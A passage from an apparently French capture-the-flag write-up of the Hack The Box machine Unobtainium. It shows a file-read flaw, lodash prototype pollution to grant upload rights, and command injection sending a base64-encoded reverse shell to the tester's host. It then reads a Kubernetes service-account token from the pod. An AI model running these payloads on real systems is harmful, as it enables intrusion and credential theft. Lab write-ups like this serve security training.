true});\n});\n\napp.delete('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user || !user.canDelete) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n messages = messages.filter((m) => m.id !== req.body.messageId);\n res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user || !user.canUpload) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n\n filename = req.body.filename;\n root.upload(\"./\",filename, true);\n res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n filename = req.body.filename;\n testFolder = \"/usr/src/app\";\n fs.readdirSync(testFolder).forEach(file => {\n if (file.indexOf(filename) > -1) {\n var buffer = fs.readFileSync(filename).toString();\n res.send({ok: true, content: buffer});\n }\n });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"
}
Parfait! On arrive bien à récupérer le fichier index.js
, c’est une LFI (local file inclusion, CWE-98). Place à la revue du code :
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
let messages = [];
let lastId = 1;
function findUser(auth) {
return users.find((u) => u.name === auth.name && u.password === auth.password);
}
app.use(bodyParser.json());
app.get('/', (req, res) => {
res.send(messages);
});
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {icon: '__'};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./", filename, true);
res.send({ok: true, Uploaded_File: filename});
});
app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});
app.listen(3000);
console.log('Listening on port 3000...');
Découpons le code source pour faciliter son analyse. Commencons par les imports:
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
express
: Un framework web minimaliste pour Node.js qui facilite la création d'applications web.body-parser
: Un middleware pour Express qui permet d'analyser les données de requêtes entrantes dans différents formats, y compris JSON.- **
lodash**
: Une bibliothèque utilitaire JavaScript qui fournit des fonctions pour simplifier la manipulation des tableaux, des objets et des chaînes de caractères. fs
: Un module intégré à Node.js qui fournit des fonctionnalités pour interagir avec le système de fichiers.google-cloudstorage-commands
: Semble être un package peu maintenu pour intéragir avec les services google
Définition des utilisateurs :
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
let messages = [];
let lastId = 1;
function findUser(auth) {
return users.find((u) => u.name === auth.name && u.password === auth.password);
}
On peut voir q'une liste d'utilisateurs est créée avec des objets contenant les champs "name
" (nom d'utilisateur), "password
" (mot de passe), et éventuellement d'autres privilèges comme "canDelete
" et "canUpload
". On peut noter que les identifiants sont à nouveau hardcodés 😠. La fonction findUser implémente un mécanisme trop simpliste d’authentification, il est recommandé d’utiliser des mécanismes plus complexes comme des jetons JWT ou OAuth.
GET /
:
app.get('/', (req, res) => {
res.send(messages);
});
Retourne le contenu de messages en réponse, pas d’authentification requise.
POST /todo
:
app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});
Dans cette portion de code nous pouvons constater que dés que l'API reçois une requête HTTP utilisant la méthode POST
sur /todo
l’API va récupérer le contenu du filename
présent dans le body pour le stocker dans la variable filename
:
filename = req.body.filename;
Ensuite l’application va utiliser la variable filename pour lire la valeur de cette variable si le fichier demandé est présent dans /usr/src/app
. C’est ce que nous avons exploité juste avant, par contre si nous avions mis un chemin comme ../../../../etc/passwd
ou /etc/passwd
cela n’aurait pas marché à cause de ces lignes :
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
<SNIP>
PUT /
:
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {icon: '__'};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
Pour cet endpoint nous avons besoin d’être authentifié:
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
Si un utilisateur est trouvé, un objet message
est créé avec une propriété icon
initialisée à '__'.
En utilisant la bibliothèque lodash, les données du corps de la requête (req.body.message
) sont fusionnées avec l'objet message
. Cela ajoute les données du message de la requête, tout en permettant également de spécifier des valeurs par défaut pour les propriétés manquantes.
De plus, des informations supplémentaires sont ajoutées au message :
id
: un identifiant unique pour le message (incrémenté à chaque nouveau message).timestamp
: la date et l'heure actuelles.userName
: le nom de l'utilisateur associé au message.
Nous reviendrons sur cette fonction plus tard.
DELETE /
:
app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
Cette route d’API permet de supprimer un message en donnant l’id via le corps de la requête et la variable messageId
pour toutes les personnes authentifiées et ayant la permission canDelete
à true.
POST /upload
:
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./", filename, true);
res.send({ok: true, Uploaded_File: filename});
});
Si l'utilisateur est authentifié et a les autorisations de téléchargement, le nom de fichier est extrait à partir du corps de la requête (req.body.filename
). Ensuite, la fonction utilise une méthode upload
de l'objet root
(probablement un objet ou une fonction définie ailleurs dans le code) pour télécharger le fichier. Il semble que le fichier soit téléchargé dans le répertoire racine avec le nom de fichier spécifié ("./"
représente le répertoire racine). Le troisième argument true
passé à la méthode upload
pourrait indiquer un écrasement du fichier si celui-ci existe déjà dans le répertoire de destination.
Une fois le fichier téléchargé avec succès, une réponse est renvoyée avec un statut 200 (OK) et un objet {ok: true, Uploaded_File: filename}
. Cela indique que le fichier a été téléchargé avec succès et renvoie également le nom du fichier téléchargé.
La fonction upload vient de la librairie google-cloudstorage-commands
.
C’est cette portion de code qui est vulnérable aux LFI:
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
Pour gagner du temps (on peut très bien le faire à la main) nous allons utiliser un SCA (Software Composition Analysis) c’est un outil qui est très courant en phase de développement logiciel implémentant des vérifications de sécurité (j’en parlerai dans un autre post sur ce blog). L’objectif d’un SCA est à partir un SBOM (Sofware Bill Of Material = toutes vos dépendances logiciels, pour faire simple vous) lister toutes les vulnérabilités présentes dans les dépendances (directe ou transitive) de notre projet. Pour cela on va dans un premier temps récupérer le package.json et le package-lock.json (seulement ce fichier suffit). Si vous ne connaissez pas la différence voici une explication :
Le fichier
package.json
est un fichier obligatoire dans les projets Node.js, contenant des métadonnées sur le projet ainsi que la liste de ses dépendances. En revanche, le fichierpackage-lock.json
, introduit dans npm 5, enregistre précisément les versions des dépendances installées, garantissant ainsi la reproductibilité des builds en assurant que chaque installation sur différentes machines utilise les mêmes versions.
Récupération du fichier package.json
:
curl -m5 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "package.json"}' http://unobtainium.htb:31337/todo | jq '.content' | jq -r 'fromjson' | tee package.json
{
"name": "Unobtainium-Server",
"version": "1.0.0",
"description": "API Service for Electron client",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"author": "felamos",
"license": "ISC",
"dependencies": {
"body-parser": "1.18.3",
"express": "4.16.4",
"lodash": "4.17.4",
"google-cloudstorage-commands": "0.0.1"
},
"devDependencies": {}
}
Récupération du fichier package-lock.json
:
curl -m5 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "package-lock.json"}' http://unobtainium.htb:31337/todo | jq '.content' | jq -r 'fromjson' | tee package-lock.json
Pour vérifier on va utiliser Trivy qui est outil open source, voici le lien vers la documentation: Overview - Trivy (aquasecurity.github.io)
trivy fs .
2024-04-29T12:18:14.972+0100 INFO Vulnerability scanning is enabled
2024-04-29T12:18:14.972+0100 INFO Secret scanning is enabled
2024-04-29T12:18:14.972+0100 INFO If your scanning is slow, please try '--scanners vuln' to disable secret scanning
2024-04-29T12:18:14.972+0100 INFO Please see also https://aquasecurity.github.io/trivy/v0.50/docs/scanner/secret/#recommendation for faster secret detection
2024-04-29T12:18:14.973+0100 INFO To collect the license information of packages in "package-lock.json", "npm install" needs to be performed beforehand
2024-04-29T12:18:14.977+0100 INFO Number of language-specific files: 1
2024-04-29T12:18:14.977+0100 INFO Detecting npm vulnerabilities...
package-lock.json (npm)
Total: 10 (UNKNOWN: 0, LOW: 1, MEDIUM: 3, HIGH: 4, CRITICAL: 2)
┌──────────────────────────────┬──────────────────┬──────────┬──────────┬───────────────────┬──────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐
│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │
├──────────────────────────────┼──────────────────┼──────────┼──────────┼───────────────────┼──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ express │ CVE-2024-29041 │ MEDIUM │ fixed │ 4.16.4 │ 4.19.2, 5.0.0-beta.3 │ Express.js minimalist web framework for node. Versions of │
│ │ │ │ │ │ │ Express.js p ... │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2024-29041 │
├──────────────────────────────┼──────────────────┼──────────┼──────────┼───────────────────┼──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ google-cloudstorage-commands │ CVE-2020-28436 │ CRITICAL │ affected │ 0.0.1 │ │ google-cloudstorage-commands Command Injection vulnerability │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2020-28436 │
├──────────────────────────────┼──────────────────┤ ├──────────┼───────────────────┼──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ lodash │ CVE-2019-10744 │ │ fixed │ 4.17.4 │ 4.17.12 │ nodejs-lodash: prototype pollution in defaultsDeep function │
│ │ │ │ │ │ │ leading to modifying properties │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2019-10744 │
│ ├──────────────────┼──────────┤ │ ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ │ CVE-2018-16487 │ HIGH │ │ │ >=4.17.11 │ lodash: Prototype pollution in utilities function │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2018-16487 │
│ ├──────────────────┤ │ │ ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ │ CVE-2020-8203 │ │ │ │ 4.17.19 │ nodejs-lodash: prototype pollution in zipObjectDeep function │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2020-8203 │
│ ├──────────────────┤ │ │ ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ │ CVE-2021-23337 │ │ │ │ 4.17.21 │ nodejs-lodash: command injection via template │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2021-23337 │
│ ├──────────────────┼──────────┤ │ ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ │ CVE-2019-1010266 │ MEDIUM │ │ │ 4.17.11 │ lodash: uncontrolled resource consumption in Data handler │
│ │ │ │ │ │ │ causing denial of service │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2019-1010266 │
│ ├──────────────────┤ │ │ ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ │ CVE-2020-28500 │ │ │ │ 4.17.21 │ nodejs-lodash: ReDoS via the toNumber, trim and trimEnd │
│ │ │ │ │ │ │ functions │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2020-28500 │
│ ├──────────────────┼──────────┤ │ ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ │ CVE-2018-3721 │ LOW │ │ │ >=4.17.5 │ lodash: Prototype pollution in utilities function │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2018-3721 │
├──────────────────────────────┼──────────────────┼──────────┤ ├───────────────────┼──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ qs │ CVE-2022-24999 │ HIGH │ │ 6.5.2 │ 6.10.3, 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, │ express: "qs" prototype poisoning causes the hang of the │
│ │ │ │ │ │ 6.2.4 │ node process │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2022-24999 │
└──────────────────────────────┴──────────────────┴──────────┴──────────┴───────────────────┴──────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘
Le package possède une vulnérabilité critique google-cloudstorage-commands:0.0.1, la CVE-2020-28436. Cette vulnérabilitée est une injection de commande (CWE-77, CWE - CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (4.14) (mitre.org)), voir https://github.com/advisories/GHSA-6367-p3v8-7mgw.
Si on se rend sur le repository du projet on peut trouver la ligne qui introduit cette vulnérabilité: https://github.com/samradical/google-cloudstorage-commands/blob/master/index.js#L11
function upload(inputDirectory, bucket, force = false) {
return new Promise((yes, no) => {
let _path = path.resolve(inputDirectory)
let _rn = force ? '-r' : '-Rn'
let _cmd = exec(`gsutil -m cp ${_rn} -a public-read ${_path} ${bucket}`)
_cmd.on('exit', (code) => {
yes()
})
})
}
C’est effectivement vulnérable car ce qui est passé en paramètre de la fonction upload n’est pas vérifié, de plus ces paramètres sont utilisés dans la méthode exec
(très mauvaise pratique, à ne pas reproduire chez soi).
Pourquoi cette fonction pose problème ? La fonction exec
prend en argument une chaîne de caractères représentant la commande à exécuter et un callback qui est invoqué lorsque la commande est terminée. Cette fonction est souvent utilisée pour exécuter des commandes système, des scripts ou des programmes externes depuis un script Node.js.
Dans notre cas upload est appelé avec les paramètres suivants:
upload("./", filename, true);
Comme la variable filename
est contrôlée par l’utilisateur nous pouvons exploiter cette vulnérabilité. MAIS (cela aurait été trop beau) notre utilisateur n’a pas la permission d’upload quoique ce soit:
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./", filename, true);
res.send({ok: true, Uploaded_File: filename});
});
💣 Exploitation
On va exploiter une vulnérabilité présente dans PUT /
, on va faire ce qui s’appelle un pollution de prototype (coté serveur). Cela a l’air super mais qu’est-ce ?
Voici deux ressources pour comprendre cela dans le détail:
- What is prototype pollution? | Web Security Academy (portswigger.net)
- What is prototype pollution? | Tutorial & examples | Snyk Learn
Voici un exemple:
Ci-dessous j’instancie deux objets : euz
et stdk
.
node
Welcome to Node.js v12.22.12.
Type ".help" for more information.
> var euz = {}
undefined
> var stdk = {}
undefined
> euz.__proto__.isAdmin = true
true
> euz.isAdmin
true
> stdk.isAdmin
true
> var mudpak = {}
undefined
> mudpak.isAdmin
true
> console.log(Object.prototype)
{ isAdmin: true }
undefined
- J’ai créé trois objets vides (
euz
,stdk
,mudpak
). - J’ai modifié le prototype de base de tous les objets JavaScript (
Object.prototype
) en y ajoutant une propriétéisAdmin
avec la valeurtrue
. - Tous les objets existants et à venir hériteront de cette propriété
isAdmin
, ce qui signifie que, même siisAdmin
n'a jamais été explicitement défini sur ces objets, ils retourneronttrue
pourisAdmin
à cause de l'héritage du prototype
C’est pas super ?? Mais Pourquoi ici ?
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {icon: '__'};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
Ici la fonction merge
dans la lib lodash permet de copier profondément les propriétés des objets sources vers un objet de destination, ce qui inclut les propriétés héritées via la chaîne de prototypes (deep merge). Donc si un objet contient des références à des propriétés de son prototype (par exemple, __proto__
, constructor
, prototype
), et que ces propriétés sont modifiables par l'utilisateur via la fusion, alors merge
peut involontairement écrire ces propriétés sur l'objet de prototype global (Object.prototype
). Au passage voici l’identifiant CWE-1321 CWE - CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (4.14) (mitre.org).
Donc notre objectif va être de modifier la propriété canUpload
via proto pour que tous objets en hérite y compris l’objet suivant :
{name: 'felamos', password: 'Winter2021'},
Récapitulons, voici les étapes à suivre :
-
Se donner les droits d’upload grâce à l’héritage (prototype pollution)
**{ "auth": { "name": "felamos", "password": "Winter2021" }, "message": { "foo": "bar", "__proto__": { "canUpload": true } } }**
-
Exécuter un revershell grâce à l’injection de commande présente dans la librairie google-cloudstorage-commands:0.0.1
{ "auth": { "name": "felamos", "password": "Winter2021" }, "filename": "foobar; echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvMzMzMyAwPiYx' | base64 -d | bash;" }
Étape n°1 :
curl -m5 -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"foo": "bar", "__proto__": {"canUpload": true}}}' http://unobtainium.htb:31337/ && echo && curl -m5 -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename":"foobar"}' -H "Content-Type: application/json" http://unobtainium.htb:31337/upload
{"ok":true}
{"ok":true,"Uploaded_File":"foobar"}
Étape n°2 :
On démarre notre listener,
$ nc -lvnp 3333
l
: Indique à netcat de rester en mode écoute pour les connexions entrantes plutôt que d'initier une connexion sortante.v
: Active le mode verbose, ce qui signifie que netcat affichera des informations détaillées sur les connexions entrantes et sortantes.n
: Indique à netcat de ne pas résoudre les noms d'hôtes ou de ports lors de la connexion. Cela peut accélérer la configuration de netcat.p 3333
: Spécifie le numéro de port sur lequel netcat doit écouter les connexions entrantes. Dans cet exemple, le port est 3333.
$ curl -m5 -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"foo": "bar", "__proto__": {"canUpload": true}}}' http://unobtainium.htb:31337/ && echo && curl -m5 -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename":"foobar; echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvMzMzMyAwPiYx' | base64 -d | bash;"}' -H "Content-Type: application/json" http://unobtainium.htb:31337/upload
{"ok":true}
{"ok":true,"Uploaded_File":"foobar; echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvMzMzMyAwPiYx | base64 -d | bash;"}
$ nc -lvnp 3333
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::3333
Ncat: Listening on 0.0.0.0:3333
Ncat: Connection from 10.129.171.170.
Ncat: Connection from 10.129.171.170:57829.
sh: 0: can't access tty; job control turned off
#
Hop là !!! Nous avons notre premier shell !
Comment se protéger :
- Geler le prototype, utilisez
Object.freeze(Object.prototype)
. - Exiger la validation de schéma pour les entrées JSON.
- Éviter l'utilisation de fonctions de fusion récursive non sécurisées.
- Envisager l'utilisation d'objets sans prototypes (par exemple,
Object.create(null)
), ce qui rompt la chaîne de prototypes et prévient la pollution. - Utilisez
Map
au lieu deObject
.
🔬 Découverte post exploitation
Pour bien commencer la seconde partie de cette box affichons les informations du système à l’aide de la commande uname -a
$ uname -a
Linux webapp-deployment-9546bc7cb-zjnnh 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 GNU/Linux
L’hostname webapp-deployment-9546bc7cb-zjnnh
ressemble fortement à un hostname généré automatiquement, comme ceux qui sont attribués aux pods dans le contexte de Kubernetes. Il est plus que probable que nous soyons actuellement sur un pod Kubernetes, nous allons vérifier cela.
Avant d’aller plus loin voici quelques concepts liés à Kubernetes :
- Kubernetes : Un système open-source de gestion de conteneurs qui automatise le déploiement, la mise à l'échelle et la gestion des applications conteneurisées.
- Pod : La plus petite unité déployable dans Kubernetes, qui peut contenir un ou plusieurs conteneurs qui partagent des ressources comme le stockage et le réseau.
- Node : Une machine physique ou virtuelle sur laquelle Kubernetes exécute les pods.
- Cluster : Un ensemble de nodes qui exécutent des applications conteneurisées gérées par Kubernetes.
- Service : Une abstraction qui définit un ensemble logique de pods et une politique d'accès à ces pods, souvent utilisée pour exposer des applications à l'extérieur ou à d'autres parties du cluster.
- Deployment : Une spécification pour maintenir un certain nombre de réplicas de pods, gérant les mises à jour et les déploiements de manière déclarative.
- Namespace : Une division logique au sein d’un cluster, utilisée pour grouper et isoler des ressources par utilisateur, projet ou environnement.
- ConfigMap : Un objet qui stocke des données non confidentielles sous forme de paires clé-valeur, pouvant être utilisées par les pods.
- Secret : Un objet utilisé pour stocker des données sensibles, telles que des mots de passe, des tokens OAuth ou des clés ssh, protégeant ainsi l'information sensible.
- Ingress : Une règle qui permet l'accès externe aux services dans un cluster, fournissant généralement un équilibrage de charge, un SSL et un routage basé sur le nom de domaine.
- Volume : Un système de stockage attaché à un pod, qui permet de conserver des données au-delà de la durée de vie d'un conteneur individuel.
Source : Documentation de Kubernetes | Kubernetes
Si nous sommes effectivement dans un pod nous devrions être en mesure de trouver des informations relatives au compte de service. Pour faire simple un “compte de service” (ou Service Account en anglais) est un objet géré par Kubernetes et utilisé pour fournir une identité aux processus qui s'exécutent dans un pod. Chaque compte de service possède un secret associé qui contient un jeton bearer. On peut trouver ce jeton dans un des répertoires suivants:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
$ cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQ1OTI5NjQxLCJpYXQiOjE3MTQzOTM2NDEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItempubmgiLCJ1aWQiOiJhOGRlM2Y5Ni03OWMxLTQ5OGQtOWZjZS00NmIyNzE3YjkwNjcifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNzE0Mzk3MjQ4fSwibmJmIjoxNzE0MzkzNjQxLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.FOcDkjRRHXTic3cOEqTR7THI0hNECe1JpN18QlWB9wNeK_NbO3Q_Qnzu72M80ojjtLq2OMxGDPCZxLy9YjSQmbxMCCYnWryBTsAonesza2f4L2wAQaV6deMaB5iTIKqc7fgqg7gpLNzQVCVR_JVQabh_b1k416UveSfT1S1TYX8FMvAff4Qi2LA1v_5EPuN0TGlGdU5SiX98s0s2gKs-_jTYBzdHmBPTM-WwjyNfbxQPYVk_jsbtVOOs_8yNUhlrumXd33OZK3ZDUJaXcVcoAgCkErgww9xg4tgdUnVoqjp38KU6g44ionaeVIsLduspcH5THpPxKoD2Xp1uZL1ApQ<b-zjnnh:/run/secrets/kubernetes.io/serviceaccount#
$ cat namespace
default
$ cat ca.crt
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
Nous sommes bien dans un pod gérer par Kubernetes, c’est cool tout cela mais à quoi cela sert ?
Avec ces informations nous pouvons configurer notre environnement local pour communiquer avec l’API de Kubernetes via kubectl. Pour faire simple cet outil permet d’interagir avec un cluster Kubernetes, déployer des applications, inspecter et gérer les ressources du cluster, et voir les logs.
Source: Installer et configurer kubectl | Kubernetes
$ export APISERVER=unobtainium.htb:8443
$ export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQ1OTMyNTM5LCJpYXQiOjE3MTQzOTY1MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItempubmgiLCJ1aWQiOiJhOGRlM2Y5Ni03OWMxLTQ5OGQtOWZjZS00NmIyNzE3YjkwNjcifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNzE0NDAwMTQ2fSwibmJmIjoxNzE0Mzk2NTM5LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.Jn4o-jtMoYQ93S12PNXAJmRJ2f5o3wNNjl7jwk39iYQLkXrAjx0GnkdGWkIKONlPPXGxM0IRGe9bBnAGobOYRuCTBz9BwYkA3TTNDH0j_LSyubudcPtgCZrsQaQY4Ewg4TbvYa-HMMEwYdmAevsv8iO1rwv1EWKY5zD2pLiaQNCtMdJI2UcttIVk3srnCO_0K6cPYFTXuWU4ZpX3l7hcmGcPwiEpTBpXJVU1LtAse0gWHuxx05WnsaM2lE7Kveq9F8kjeI51Tlqlf_cKMau2Az0tHL2in5FRwionQbessL4CT51DXETDBMUKzqhUNrUVZm_mH8YrqdlBlXFQUNW2cA
$ echo '-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
